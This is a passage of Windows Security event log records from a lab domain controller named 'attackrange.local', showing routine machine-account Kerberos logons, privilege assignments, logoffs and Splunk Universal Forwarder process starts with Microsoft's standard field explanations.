The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:55:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256062
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3A92CD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:56:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256065
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x128c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:56:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256066
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:56:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256068
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1038
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:56:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256067
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc8c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:56:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256069
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1324
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:56:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256070
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2d8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:56:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256071
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x248
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:56:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256074
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3AC940

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:56:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256073
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3AC940
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51188

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:56:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256072
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3AC940

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:57:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256080
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3ACC08

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:57:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256079
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3ACC08
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51191

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:57:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256078
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3ACC08

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:57:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256077
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3ACB9C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:57:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256076
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3ACB9C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51190

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:57:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256075
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3ACB9C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:57:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256081
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb30
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:57:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256093
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3AD8A5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:57:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256092
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3AD9D0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:57:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256091
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3ADA18

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:57:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256090
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3ADA8A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51196

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:57:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256089
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3ADA8A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:57:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256088
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3ADA18
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		51195

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:57:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256087
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3ADA18

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
